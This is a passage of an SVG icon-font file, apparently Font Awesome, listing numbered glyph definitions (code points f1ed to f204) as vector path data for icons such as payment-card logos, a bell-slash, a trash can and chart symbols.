-90.5t90.5 -37.5t90.5 37.5t37.5 90.5z M1536 1088v256q0 26 -19 45t-45 19h-1280q-26 0 -45 -19t-19 -45v-256q0 -26 19 -45t45 -19h1280q26 0 45 19t19 45zM1536 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1408v-1536q0 -52 -38 -90t-90 -38 h-1408q-52 0 -90 38t-38 90v1536q0 52 38 90t90 38h1408q52 0 90 -38t38 -90z" />
485 <glyph unicode="&#xf1ed;" horiz-adv-x="1792" d="M1112 1090q0 159 -237 159h-70q-32 0 -59.5 -21.5t-34.5 -52.5l-63 -276q-2 -5 -2 -16q0 -24 17 -39.5t41 -15.5h53q69 0 128.5 13t112.5 41t83.5 81.5t30.5 126.5zM1716 938q0 -265 -220 -428q-219 -161 -612 -161h-61q-32 0 -59 -21.5t-34 -52.5l-73 -316 q-8 -36 -40.5 -61.5t-69.5 -25.5h-213q-31 0 -53 20t-22 51q0 10 13 65h151q34 0 64 23.5t38 56.5l73 316q8 33 37.5 57t63.5 24h61q390 0 607 160t217 421q0 129 -51 207q183 -92 183 -335zM1533 1123q0 -264 -221 -428q-218 -161 -612 -161h-60q-32 0 -59.5 -22t-34.5 -53 l-73 -315q-8 -36 -40 -61.5t-69 -25.5h-214q-31 0 -52.5 19.5t-21.5 51.5q0 8 2 20l300 1301q8 36 40.5 61.5t69.5 25.5h444q68 0 125 -4t120.5 -15t113.5 -30t96.5 -50.5t77.5 -74t49.5 -103.5t18.5 -136z" />
486 <glyph unicode="&#xf1ee;" horiz-adv-x="1792" d="M602 949q19 -61 31 -123.5t17 -141.5t-14 -159t-62 -145q-21 81 -67 157t-95.5 127t-99 90.5t-78.5 57.5t-33 19q-62 34 -81.5 100t14.5 128t101 81.5t129 -14.5q138 -83 238 -177zM927 1236q11 -25 20.5 -46t36.5 -100.5t42.5 -150.5t25.5 -179.5t0 -205.5t-47.5 -209.5 t-105.5 -208.5q-51 -72 -138 -72q-54 0 -98 31q-57 40 -69 109t28 127q60 85 81 195t13 199.5t-32 180.5t-39 128t-22 52q-31 63 -8.5 129.5t85.5 97.5q34 17 75 17q47 0 88.5 -25t63.5 -69zM1248 567q-17 -160 -72 -311q-17 131 -63 246q25 174 -5 361q-27 178 -94 342 q114 -90 212 -211q9 -37 15 -80q26 -179 7 -347zM1520 1440q9 -17 23.5 -49.5t43.5 -117.5t50.5 -178t34 -227.5t5 -269t-47 -300t-112.5 -323.5q-22 -48 -66 -75.5t-95 -27.5q-39 0 -74 16q-67 31 -92.5 100t4.5 136q58 126 90 257.5t37.5 239.5t-3.5 213.5t-26.5 180.5 t-38.5 138.5t-32.5 90t-15.5 32.5q-34 65 -11.5 135.5t87.5 104.5q37 20 81 20q49 0 91.5 -25.5t66.5 -70.5z" />
487 <glyph unicode="&#xf1f0;" horiz-adv-x="2304" d="M1975 546h-138q14 37 66 179l3 9q4 10 10 26t9 26l12 -55zM531 611l-58 295q-11 54 -75 54h-268l-2 -13q311 -79 403 -336zM710 960l-162 -438l-17 89q-26 70 -85 129.5t-131 88.5l135 -510h175l261 641h-176zM849 318h166l104 642h-166zM1617 944q-69 27 -149 27 q-123 0 -201 -59t-79 -153q-1 -102 145 -174q48 -23 67 -41t19 -39q0 -30 -30 -46t-69 -16q-86 0 -156 33l-22 11l-23 -144q74 -34 185 -34q130 -1 208.5 59t80.5 160q0 106 -140 174q-49 25 -71 42t-22 38q0 22 24.5 38.5t70.5 16.5q70 1 124 -24l15 -8zM2042 960h-128 q-65 0 -87 -54l-246 -588h174l35 96h212q5 -22 20 -96h154zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
488 <glyph unicode="&#xf1f1;" horiz-adv-x="2304" d="M671 603h-13q-47 0 -47 -32q0 -22 20 -22q17 0 28 15t12 39zM1066 639h62v3q1 4 0.5 6.5t-1 7t-2 8t-4.5 6.5t-7.5 5t-11.5 2q-28 0 -36 -38zM1606 603h-12q-48 0 -48 -32q0 -22 20 -22q17 0 28 15t12 39zM1925 629q0 41 -30 41q-19 0 -31 -20t-12 -51q0 -42 28 -42 q20 0 32.5 20t12.5 52zM480 770h87l-44 -262h-56l32 201l-71 -201h-39l-4 200l-34 -200h-53l44 262h81l2 -163zM733 663q0 -6 -4 -42q-16 -101 -17 -113h-47l1 22q-20 -26 -58 -26q-23 0 -37.5 16t-14.5 42q0 39 26 60.5t73 21.5q14 0 23 -1q0 3 0.5 5.5t1 4.5t0.5 3 q0 20 -36 20q-29 0 -59 -10q0 4 7 48q38 11 67 11q74 0 74 -62zM889 721l-8 -49q-22 3 -41 3q-27 0 -27 -17q0 -8 4.5 -12t21.5 -11q40 -19 40 -60q0 -72 -87 -71q-34 0 -58 6q0 2 7 49q29 -8 51 -8q32 0 32 19q0 7 -4.5 11.5t-21.5 12.5q-43 20 -43 59q0 72 84 72 q30 0 50 -4zM977 721h28l-7 -52h-29q-2 -17 -6.5 -40.5t-7 -38.5t-2.5 -18q0 -16 19 -16q8 0 16 2l-8 -47q-21 -7 -40 -7q-43 0 -45 47q0 12 8 56q3 20 25 146h55zM1180 648q0 -23 -7 -52h-111q-3 -22 10 -33t38 -11q30 0 58 14l-9 -54q-30 -8 -57 -8q-95 0 -95 95 q0 55 27.5 90.5t69.5 35.5q35 0 55.5 -21t20.5 -56zM1319 722q-13 -23 -22 -62q-22 2 -31 -24t-25 -128h-56l3 14q22 130 29 199h51l-3 -33q14 21 25.5 29.5t28.5 4.5zM1506 763l-9 -57q-28 14 -50 14q-31 0 -51 -27.5t-20 -70.5q0 -30 13.5 -47t38.5 -17q21 0 48 13 l-10 -59q-28 -8 -50 -8q-45 0 -71.5 30.5t-26.5 82.5q0 70 35.5 114.5t91.5 44.5q26 0 61 -13zM1668 663q0 -18 -4 -42q-13 -79 -17 -113h-46l1 22q-20 -26 -59 -26q-23 0 -37 16t-14 42q0 39 25.5 60.5t72.5 21.5q15 0 23 -1q2 7 2 13q0 20 -36 20q-29 0 -59 -10q0 4 8 48 q38 11 67 11q73 0 73 -62zM1809 722q-14 -24 -21 -62q-23 2 -31.5 -23t-25.5 -129h-56l3 14q19 104 29 199h52q0 -11 -4 -33q15 21 26.5 29.5t27.5 4.5zM1950 770h56l-43 -262h-53l3 19q-23 -23 -52 -23q-31 0 -49.5 24t-18.5 64q0 53 27.5 92t64.5 39q31 0 53 -29z M2061 640q0 148 -72.5 273t-198 198t-273.5 73q-181 0 -328 -110q127 -116 171 -284h-50q-44 150 -158 253q-114 -103 -158 -253h-50q44 168 171 284q-147 110 -328 110q-148 0 -273.5 -73t-198 -198t-72.5 -273t72.5 -273t198 -198t273.5 -73q181 0 328 110 q-120 111 -165 264h50q46 -138 152 -233q106 95 152 233h50q-45 -153 -165 -264q147 -110 328 -110q148 0 273.5 73t198 198t72.5 273zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
489 <glyph unicode="&#xf1f2;" horiz-adv-x="2304" d="M313 759q0 -51 -36 -84q-29 -26 -89 -26h-17v220h17q61 0 89 -27q36 -31 36 -83zM2089 824q0 -52 -64 -52h-19v101h20q63 0 63 -49zM380 759q0 74 -50 120.5t-129 46.5h-95v-333h95q74 0 119 38q60 51 60 128zM410 593h65v333h-65v-333zM730 694q0 40 -20.5 62t-75.5 42 q-29 10 -39.5 19t-10.5 23q0 16 13.5 26.5t34.5 10.5q29 0 53 -27l34 44q-41 37 -98 37q-44 0 -74 -27.5t-30 -67.5q0 -35 18 -55.5t64 -36.5q37 -13 45 -19q19 -12 19 -34q0 -20 -14 -33.5t-36 -13.5q-48 0 -71 44l-42 -40q44 -64 115 -64q51 0 83 30.5t32 79.5zM1008 604 v77q-37 -37 -78 -37q-49 0 -80.5 32.5t-31.5 82.5q0 48 31.5 81.5t77.5 33.5q43 0 81 -38v77q-40 20 -80 20q-74 0 -125.5 -50.5t-51.5 -123.5t51 -123.5t125 -50.5q42 0 81 19zM2240 0v527q-65 -40 -144.5 -84t-237.5 -117t-329.5 -137.5t-417.5 -134.5t-504 -118h1569 q26 0 45 19t19 45zM1389 757q0 75 -53 128t-128 53t-128 -53t-53 -128t53 -128t128 -53t128 53t53 128zM1541 584l144 342h-71l-90 -224l-89 224h-71l142 -342h35zM1714 593h184v56h-119v90h115v56h-115v74h119v57h-184v-333zM2105 593h80l-105 140q76 16 76 94q0 47 -31 73 t-87 26h-97v-333h65v133h9zM2304 1274v-1268q0 -56 -38.5 -95t-93.5 -39h-2040q-55 0 -93.5 39t-38.5 95v1268q0 56 38.5 95t93.5 39h2040q55 0 93.5 -39t38.5 -95z" />
490 <glyph unicode="&#xf1f3;" horiz-adv-x="2304" d="M119 854h89l-45 108zM740 328l74 79l-70 79h-163v-49h142v-55h-142v-54h159zM898 406l99 -110v217zM1186 453q0 33 -40 33h-84v-69h83q41 0 41 36zM1475 457q0 29 -42 29h-82v-61h81q43 0 43 32zM1197 923q0 29 -42 29h-82v-60h81q43 0 43 31zM1656 854h89l-44 108z M699 1009v-271h-66v212l-94 -212h-57l-94 212v-212h-132l-25 60h-135l-25 -60h-70l116 271h96l110 -257v257h106l85 -184l77 184h108zM1255 453q0 -20 -5.5 -35t-14 -25t-22.5 -16.5t-26 -10t-31.5 -4.5t-31.5 -1t-32.5 0.5t-29.5 0.5v-91h-126l-80 90l-83 -90h-256v271h260 l80 -89l82 89h207q109 0 109 -89zM964 794v-56h-217v271h217v-57h-152v-49h148v-55h-148v-54h152zM2304 235v-229q0 -55 -38.5 -94.5t-93.5 -39.5h-2040q-55 0 -93.5 39.5t-38.5 94.5v678h111l25 61h55l25 -61h218v46l19 -46h113l20 47v-47h541v99l10 1q10 0 10 -14v-86h279 v23q23 -12 55 -18t52.5 -6.5t63 0.5t51.5 1l25 61h56l25 -61h227v58l34 -58h182v378h-180v-44l-25 44h-185v-44l-23 44h-249q-69 0 -109 -22v22h-172v-22q-24 22 -73 22h-628l-43 -97l-43 97h-198v-44l-22 44h-169l-78 -179v391q0 55 38.5 94.5t93.5 39.5h2040 q55 0 93.5 -39.5t38.5 -94.5v-678h-120q-51 0 -81 -22v22h-177q-55 0 -78 -22v22h-316v-22q-31 22 -87 22h-209v-22q-23 22 -91 22h-234l-54 -58l-50 58h-349v-378h343l55 59l52 -59h211v89h21q59 0 90 13v-102h174v99h8q8 0 10 -2t2 -10v-87h529q57 0 88 24v-24h168 q60 0 95 17zM1546 469q0 -23 -12 -43t-34 -29q25 -9 34 -26t9 -46v-54h-65v45q0 33 -12 43.5t-46 10.5h-69v-99h-65v271h154q48 0 77 -15t29 -58zM1269 936q0 -24 -12.5 -44t-33.5 -29q26 -9 34.5 -25.5t8.5 -46.5v-53h-65q0 9 0.5 26.5t0 25t-3 18.5t-8.5 16t-17.5 8.5 t-29.5 3.5h-70v-98h-64v271l153 -1q49 0 78 -14.5t29 -57.5zM1798 327v-56h-216v271h216v-56h-151v-49h148v-55h-148v-54zM1372 1009v-271h-66v271h66zM2065 357q0 -86 -102 -86h-126v58h126q34 0 34 25q0 16 -17 21t-41.5 5t-49.5 3.5t-42 22.5t-17 55q0 39 26 60t66 21 h130v-57h-119q-36 0 -36 -25q0 -16 17.5 -20.5t42 -4t49 -2.5t42 -21.5t17.5 -54.5zM2304 407v-101q-24 -35 -88 -35h-125v58h125q33 0 33 25q0 13 -12.5 19t-31 5.5t-40 2t-40 8t-31 24t-12.5 48.5q0 39 26.5 60t66.5 21h129v-57h-118q-36 0 -36 -25q0 -20 29 -22t68.5 -5 t56.5 -26zM2139 1008v-270h-92l-122 203v-203h-132l-26 60h-134l-25 -60h-75q-129 0 -129 133q0 138 133 138h63v-59q-7 0 -28 1t-28.5 0.5t-23 -2t-21.5 -6.5t-14.5 -13.5t-11.5 -23t-3 -33.5q0 -38 13.5 -58t49.5 -20h29l92 213h97l109 -256v256h99l114 -188v188h66z" />
491 <glyph unicode="&#xf1f4;" horiz-adv-x="2304" d="M322 689h-15q-19 0 -19 18q0 28 19 85q5 15 15 19.5t28 4.5q77 0 77 -49q0 -41 -30.5 -59.5t-74.5 -18.5zM664 528q-47 0 -47 29q0 62 123 62l3 -3q-5 -88 -79 -88zM1438 687h-15q-19 0 -19 19q0 28 19 85q5 15 14.5 19t28.5 4q77 0 77 -49q0 -41 -30.5 -59.5 t-74.5 -18.5zM1780 527q-47 0 -47 30q0 62 123 62l3 -3q-5 -89 -79 -89zM373 894h-128q-8 0 -14.5 -4t-8.5 -7.5t-7 -12.5q-3 -7 -45 -190t-42 -192q0 -7 5.5 -12.5t13.5 -5.5h62q25 0 32.5 34.5l15 69t32.5 34.5q47 0 87.5 7.5t80.5 24.5t63.5 52.5t23.5 84.5 q0 36 -14.5 61t-41 36.5t-53.5 15.5t-62 4zM719 798q-38 0 -74 -6q-2 0 -8.5 -1t-9 -1.5l-7.5 -1.5t-7.5 -2t-6.5 -3t-6.5 -4t-5 -5t-4.5 -7t-4 -9q-9 -29 -9 -39t9 -10q5 0 21.5 5t19.5 6q30 8 58 8q74 0 74 -36q0 -11 -10 -14q-8 -2 -18 -3t-21.5 -1.5t-17.5 -1.5 q-38 -4 -64.5 -10t-56.5 -19.5t-45.5 -39t-15.5 -62.5q0 -38 26 -59.5t64 -21.5q24 0 45.5 6.5t33 13t38.5 23.5q-3 -7 -3 -15t5.5 -13.5t12.5 -5.5h56q1 1 7 3.5t7.5 3.5t5 3.5t5 5.5t2.5 8l45 194q4 13 4 30q0 81 -145 81zM1247 793h-74q-22 0 -39 -23q-5 -7 -29.5 -51 t-46.5 -81.5t-26 -38.5l-5 4q0 77 -27 166q-1 5 -3.5 8.5t-6 6.5t-6.5 5t-8.5 3t-8.5 1.5t-9.5 1t-9 0.5h-10h-8.5q-38 0 -38 -21l1 -5q5 -53 25 -151t25 -143q2 -16 2 -24q0 -19 -30.5 -61.5t-30.5 -58.5q0 -13 40 -13q61 0 76 25l245 415q10 20 10 26q0 9 -8 9zM1489 892 h-129q-18 0 -29 -23q-6 -13 -46.5 -191.5t-40.5 -190.5q0 -20 43 -20h7.5h9h9t9.5 1t8.5 2t8.5 3t6.5 4.5t5.5 6t3 8.5l21 91q2 10 10.5 17t19.5 7q47 0 87.5 7t80.5 24.5t63.5 52.5t23.5 84q0 36 -14.5 61t-41 36.5t-53.5 15.5t-62 4zM1835 798q-26 0 -74 -6 q-38 -6 -48 -16q-7 -8 -11 -19q-8 -24 -8 -39q0 -10 8 -10q1 0 41 12q30 8 58 8q74 0 74 -36q0 -12 -10 -14q-4 -1 -57 -7q-38 -4 -64.5 -10t-56.5 -19.5t-45.5 -39t-15.5 -62.5t26 -58.5t64 -21.5q24 0 45 6t34 13t38 24q-3 -15 -3 -16q0 -5 2 -8.5t6.5 -5.5t8 -3.5 t10.5 -2t9.5 -0.5h9.5h8q42 0 48 25l45 194q3 15 3 31q0 81 -145 81zM2157 889h-55q-25 0 -33 -40q-10 -44 -36.5 -167t-42.5 -190v-5q0 -16 16 -18h1h57q10 0 18.5 6.5t10.5 16.5l83 374h-1l1 5q0 7 -5.5 12.5t-13.5 5.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048 q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
492 <glyph unicode="&#xf1f5;" horiz-adv-x="2304" d="M1597 633q0 -69 -21 -106q-19 -35 -52 -35q-23 0 -41 9v224q29 30 57 30q57 0 57 -122zM2035 669h-110q6 98 56 98q51 0 54 -98zM476 534q0 59 -33 91.5t-101 57.5q-36 13 -52 24t-16 25q0 26 38 26q58 0 124 -33l18 112q-67 32 -149 32q-77 0 -123 -38q-48 -39 -48 -109 q0 -58 32.5 -90.5t99.5 -56.5q39 -14 54.5 -25.5t15.5 -27.5q0 -31 -48 -31q-29 0 -70 12.5t-72 30.5l-18 -113q72 -41 168 -41q81 0 129 37q51 41 51 117zM771 749l19 111h-96v135l-129 -21l-18 -114l-46 -8l-17 -103h62v-219q0 -84 44 -120q38 -30 111 -30q32 0 79 11v118 q-32 -7 -44 -7q-42 0 -42 50v197h77zM1087 724v139q-15 3 -28 3q-32 0 -55.5 -16t-33.5 -46l-10 56h-131v-471h150v306q26 31 82 31q16 0 26 -2zM1124 389h150v471h-150v-471zM1746 638q0 122 -45 179q-40 52 -111 52q-64 0 -117 -56l-8 47h-132v-645l150 25v151 q36 -11 68 -11q83 0 134 56q61 65 61 202zM1278 986q0 33 -23 56t-56 23t-56 -23t-23 -56t23 -56.5t56 -23.5t56 23.5t23 56.5zM2176 629q0 113 -48 176q-50 64 -144 64q-96 0 -151.5 -66t-55.5 -180q0 -128 63 -188q55 -55 161 -55q101 0 160 40l-16 103q-57 -31 -128 -31 q-43 0 -63 19q-23 19 -28 66h248q2 14 2 52zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
493 <glyph unicode="&#xf1f6;" horiz-adv-x="2048" d="M1558 684q61 -356 298 -556q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5zM1024 -176q16 0 16 16t-16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5zM2026 1424q8 -10 7.5 -23.5t-10.5 -22.5 l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5 l418 363q10 8 23.5 7t21.5 -11z" />
494 <glyph unicode="&#xf1f7;" horiz-adv-x="2048" d="M1040 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM503 315l877 760q-42 88 -132.5 146.5t-223.5 58.5q-93 0 -169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -384 -137 -645zM1856 128 q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5l149 129h757q-166 187 -227 459l111 97q61 -356 298 -556zM1942 1520l84 -96q8 -10 7.5 -23.5t-10.5 -22.5l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161 q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5l418 363q10 8 23.5 7t21.5 -11z" />
495 <glyph unicode="&#xf1f8;" horiz-adv-x="1408" d="M512 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM768 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1024 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704 q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167 q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
496 <glyph unicode="&#xf1f9;" d="M1150 462v-109q0 -50 -36.5 -89t-94 -60.5t-118 -32.5t-117.5 -11q-205 0 -342.5 139t-137.5 346q0 203 136 339t339 136q34 0 75.5 -4.5t93 -18t92.5 -34t69 -56.5t28 -81v-109q0 -16 -16 -16h-118q-16 0 -16 16v70q0 43 -65.5 67.5t-137.5 24.5q-140 0 -228.5 -91.5 t-88.5 -237.5q0 -151 91.5 -249.5t233.5 -98.5q68 0 138 24t70 66v70q0 7 4.5 11.5t10.5 4.5h119q6 0 11 -4.5t5 -11.5zM768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5 t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
497 <glyph unicode="&#xf1fa;" d="M972 761q0 108 -53.5 169t-147.5 61q-63 0 -124 -30.5t-110 -84.5t-79.5 -137t-30.5 -180q0 -112 53.5 -173t150.5 -61q96 0 176 66.5t122.5 166t42.5 203.5zM1536 640q0 -111 -37 -197t-98.5 -135t-131.5 -74.5t-145 -27.5q-6 0 -15.5 -0.5t-16.5 -0.5q-95 0 -142 53 q-28 33 -33 83q-52 -66 -131.5 -110t-173.5 -44q-161 0 -249.5 95.5t-88.5 269.5q0 157 66 290t179 210.5t246 77.5q87 0 155 -35.5t106 -99.5l2 19l11 56q1 6 5.5 12t9.5 6h118q5 0 13 -11q5 -5 3 -16l-120 -614q-5 -24 -5 -48q0 -39 12.5 -52t44.5 -13q28 1 57 5.5t73 24 t77 50t57 89.5t24 137q0 292 -174 466t-466 174q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51q228 0 405 144q11 9 24 8t21 -12l41 -49q8 -12 7 -24q-2 -13 -12 -22q-102 -83 -227.5 -128t-258.5 -45q-156 0 -298 61 t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q344 0 556 -212t212 -556z" />
498 <glyph unicode="&#xf1fb;" horiz-adv-x="1792" d="M1698 1442q94 -94 94 -226.5t-94 -225.5l-225 -223l104 -104q10 -10 10 -23t-10 -23l-210 -210q-10 -10 -23 -10t-23 10l-105 105l-603 -603q-37 -37 -90 -37h-203l-256 -128l-64 64l128 256v203q0 53 37 90l603 603l-105 105q-10 10 -10 23t10 23l210 210q10 10 23 10 t23 -10l104 -104l223 225q93 94 225.5 94t226.5 -94zM512 64l576 576l-192 192l-576 -576v-192h192z" />
499 <glyph unicode="&#xf1fc;" horiz-adv-x="1792" d="M1615 1536q70 0 122.5 -46.5t52.5 -116.5q0 -63 -45 -151q-332 -629 -465 -752q-97 -91 -218 -91q-126 0 -216.5 92.5t-90.5 219.5q0 128 92 212l638 579q59 54 130 54zM706 502q39 -76 106.5 -130t150.5 -76l1 -71q4 -213 -129.5 -347t-348.5 -134q-123 0 -218 46.5 t-152.5 127.5t-86.5 183t-29 220q7 -5 41 -30t62 -44.5t59 -36.5t46 -17q41 0 55 37q25 66 57.5 112.5t69.5 76t88 47.5t103 25.5t125 10.5z" />
500 <glyph unicode="&#xf1fd;" horiz-adv-x="1792" d="M1792 128v-384h-1792v384q45 0 85 14t59 27.5t47 37.5q30 27 51.5 38t56.5 11t55.5 -11t52.5 -38q29 -25 47 -38t58 -27t86 -14q45 0 85 14.5t58 27t48 37.5q21 19 32.5 27t31 15t43.5 7q35 0 56.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14t85 14t59 27.5t47 37.5 q30 27 51.5 38t56.5 11q34 0 55.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14zM1792 448v-192q-35 0 -55.5 11t-52.5 38q-29 25 -47 38t-58 27t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-22 -19 -33 -27t-31 -15t-44 -7q-35 0 -56.5 11t-51.5 38q-29 25 -47 38t-58 27 t-86 14q-45 0 -85 -14.5t-58 -27t-48 -37.5q-21 -19 -32.5 -27t-31 -15t-43.5 -7q-35 0 -56.5 11t-51.5 38q-28 24 -47 37.5t-59 27.5t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-30 -27 -51.5 -38t-56.5 -11v192q0 80 56 136t136 56h64v448h256v-448h256v448h256v-448h256v448 h256v-448h64q80 0 136 -56t56 -136zM512 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1024 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51 t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1536 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150z" />
501 <glyph unicode="&#xf1fe;" horiz-adv-x="2048" d="M2048 0v-128h-2048v1536h128v-1408h1920zM1664 1024l256 -896h-1664v576l448 576l576 -576z" />
502 <glyph unicode="&#xf200;" horiz-adv-x="1792" d="M768 646l546 -546q-106 -108 -247.5 -168t-298.5 -60q-209 0 -385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103v-762zM955 640h773q0 -157 -60 -298.5t-168 -247.5zM1664 768h-768v768q209 0 385.5 -103t279.5 -279.5t103 -385.5z" />
503 <glyph unicode="&#xf201;" horiz-adv-x="2048" d="M2048 0v-128h-2048v1536h128v-1408h1920zM1920 1248v-435q0 -21 -19.5 -29.5t-35.5 7.5l-121 121l-633 -633q-10 -10 -23 -10t-23 10l-233 233l-416 -416l-192 192l585 585q10 10 23 10t23 -10l233 -233l464 464l-121 121q-16 16 -7.5 35.5t29.5 19.5h435q14 0 23 -9 t9 -23z" />
504 <glyph unicode="&#xf202;" horiz-adv-x="1792" d="M1292 832q0 -6 10 -41q10 -29 25 -49.5t41 -34t44 -20t55 -16.5q325 -91 325 -332q0 -146 -105.5 -242.5t-254.5 -96.5q-59 0 -111.5 18.5t-91.5 45.5t-77 74.5t-63 87.5t-53.5 103.5t-43.5 103t-39.5 106.5t-35.5 95q-32 81 -61.5 133.5t-73.5 96.5t-104 64t-142 20 q-96 0 -183 -55.5t-138 -144.5t-51 -185q0 -160 106.5 -279.5t263.5 -119.5q177 0 258 95q56 63 83 116l84 -152q-15 -34 -44 -70l1 -1q-131 -152 -388 -152q-147 0 -269.5 79t-190.5 207.5t-68 274.5q0 105 43.5 206t116 176.5t172 121.5t204.5 46q87 0 159 -19t123.5 -50 t95 -80t72.5 -99t58.5 -117t50.5 -124.5t50 -130.5t55 -127q96 -200 233 -200q81 0 138.5 48.5t57.5 128.5q0 42 -19 72t-50.5 46t-72.5 31.5t-84.5 27t-87.5 34t-81 52t-65 82t-39 122.5q-3 16 -3 33q0 110 87.5 192t198.5 78q78 -3 120.5 -14.5t90.5 -53.5h-1 q12 -11 23 -24.5t26 -36t19 -27.5l-129 -99q-26 49 -54 70v1q-23 21 -97 21q-49 0 -84 -33t-35 -83z" />
505 <glyph unicode="&#xf203;" d="M1432 484q0 173 -234 239q-35 10 -53 16.5t-38 25t-29 46.5q0 2 -2 8.5t-3 12t-1 7.5q0 36 24.5 59.5t60.5 23.5q54 0 71 -15h-1q20 -15 39 -51l93 71q-39 54 -49 64q-33 29 -67.5 39t-85.5 10q-80 0 -142 -57.5t-62 -137.5q0 -7 2 -23q16 -96 64.5 -140t148.5 -73 q29 -8 49 -15.5t45 -21.5t38.5 -34.5t13.5 -46.5v-5q1 -58 -40.5 -93t-100.5 -35q-97 0 -167 144q-23 47 -51.5 121.5t-48 125.5t-54 110.5t-74 95.5t-103.5 60.5t-147 24.5q-101 0 -192 -56t-144 -148t-50 -192v-1q4 -108 50.5 -199t133.5 -147.5t196 -56.5q186 0 279 110 q20 27 31 51l-60 109q-42 -80 -99 -116t-146 -36q-115 0 -191 87t-76 204q0 105 82 189t186 84q112 0 170 -53.5t104 -172.5q8 -21 25.5 -68.5t28.5 -76.5t31.5 -74.5t38.5 -74t45.5 -62.5t55.5 -53.5t66 -33t80 -13.5q107 0 183 69.5t76 174.5zM1536 1120v-960 q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
506 <glyph unicode="&#xf204;" horiz-adv-x="2048" d="M1152 640q0 104 -40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM1920 640q0 104 -40.5 198.5 t-109.5 163.5t-163.5 109.5t-198.5 40.5h-386q119 -90 188.5 -224t69.5 -288t-69.5 -288t-188.5 -224h386q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM2048 640q0 -130 -51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5 t-136.5 204t-51 248.5t51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5z" />
